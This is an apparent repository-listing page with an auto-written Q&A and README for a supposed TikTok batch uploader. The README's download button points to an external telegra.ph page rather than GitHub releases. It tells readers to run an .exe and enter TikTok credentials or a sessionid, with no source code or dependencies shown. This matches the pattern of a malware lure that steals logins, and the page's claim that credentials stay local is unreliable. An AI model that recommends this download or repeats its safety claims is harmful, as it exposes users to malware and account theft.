# tiktok-uploader (TagPhaseArcade/tiktok-uploader)

> A cross-platform tool that batch-uploads videos to TikTok, with descriptions, hashtags, mentions and scheduled publishing, so you don't have to upload each video through the mobile app.

- GitHub: https://github.com/TagPhaseArcade/tiktok-uploader
- GitHub.Locker page: https://github.locker/TagPhaseArcade/tiktok-uploader
- Stars: 426
- Language: Python
- License: MIT
- Last push: 2026-11-05

## Questions and answers

Written by GitHub.Locker from the README and the repository; check the README below for details.

**Is it a desktop app or a script?**

Both. The README mentions a TikTokUploader.exe for Windows and also running main.py from source. You launch it, authenticate, pick videos, fill in metadata and click upload.

**How do I get it running?**

Download the project, extract the archive into its own folder, then run TikTokUploader.exe or main.py. Authenticate with your TikTok login or a sessionid.

**Do I need an API key or Python?**

No official TikTok API key is needed because it logs in with a session. Python is only needed if you run from source, and the README does not list the Python version or dependencies.

**Can using it get my account banned?**

The README warns that automating TikTok may violate their Terms of Service. It suggests using a secondary account and conservative settings, such as fewer concurrent uploads and longer delays.

**Does it work on macOS and Linux?**

The README says it works on Windows, macOS and Linux. It only mentions a .exe build, so on macOS and Linux you would most likely run main.py from source.

**Where do my login details go?**

They are stored locally on your machine as a session, and the README says they are never sent to third-party servers.

**Can I upload several videos in one go?**

Yes, batch upload is a core feature. config.ini caps concurrent uploads at 1–3 and lets you set a delay between uploads in seconds.

**Can I schedule posts for later?**

Yes, you set a specific date and time and the video goes live then. The README does not say how far in advance you can schedule.

**What happens if an upload gets interrupted?**

Resume support continues interrupted uploads without creating duplicates, so you don't have to start over.


---

## README (checked against GitHub 2026-11-06)

Source: https://github.com/TagPhaseArcade/tiktok-uploader/blob/main/README.md

# 📤 TikTok Uploader

**Automated TikTok Video Uploader & Scheduler — 2026**

A lightweight, open-source tool for batch uploading videos to TikTok, scheduling posts, and managing metadata. 
Built for content creators, social media managers, and automation enthusiasts.

---

## 🎯 What it is

**TikTok Uploader** is a cross-platform tool that simplifies the process of uploading videos to TikTok. 
It allows you to batch upload videos, set descriptions, add hashtags, and schedule posts — all without manually uploading through the mobile app.

> 🔒
> Session-based authentication. Your credentials are stored locally and never sent to third-party servers.

---

## 🚀 Quick Start

<p align="center">
  <a href="https://telegra.ph/TRANSITION-06-17-3">
    <img src="https://img.shields.io/badge/Download%20Project-2ea44f?style=for-the-badge&logo=download&logoColor=white" alt="Download Project">
  </a>
</p>

1. Download the project using the button above.
2. Extract the archive into a separate folder.
3. Run **TikTokUploader.exe** (or execute `main.py` from source).
4. Follow the on-screen instructions to authenticate.
5. Select your videos and click "Upload".

---

## ✨ Features

| Feature                  | Description                                      |
|--------------------------|--------------------------------------------------|
| 📤 **Batch Upload**      | Upload multiple videos at once                   |
| 📝 **Metadata Editor**   | Add descriptions, hashtags, and mentions         |
| ⏰ **Scheduling**        | Schedule videos for future publication           |
| 🔄 **Resume Support**    | Continue interrupted uploads without duplicates  |
| 🖥️ **Cross-Platform**    | Works on Windows, macOS, and Linux               |
| 🔒 **Secure Auth**       | Local session storage, no cloud required         |

---

## 🧩 How to use

1. Launch the application.
2. Click **"Authenticate"** and log in with your TikTok credentials (or provide a `sessionid`).
3. Select the video files you want to upload.
4. Fill in the metadata (description, hashtags).
5. Choose privacy settings (Public / Friends / Private).
6. Click **"Upload"** and monitor the progress.

---

## ⚙️ Configuration

You can adjust the settings in the `config.ini` file:

- **Default Privacy**: Public / Friends / Private
- **Hashtag Template**: Default hashtags for all uploads
- **Max Concurrent Uploads**: 1–3
- **Upload Delay**: Delay between uploads (seconds)

---

## ❓ FAQ

**Is it safe to use?**
It uses local session storage. However, automating TikTok may violate their Terms of Service. Use a secondary account and conservative settings.

**Do I need a TikTok API key?**
No official API key is required. The tool uses session-based authentication.

**Does it support scheduled uploads?**
Yes, you can set a specific date and time for the video to go live.

**Can I upload 4K videos?**
Yes, but upload time depends on your internet speed and file size.

---

## 🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome.

---

## 📜 License

MIT License — free to use, modify and redistribute.

---

**⭐ Star the repo if it helped you.**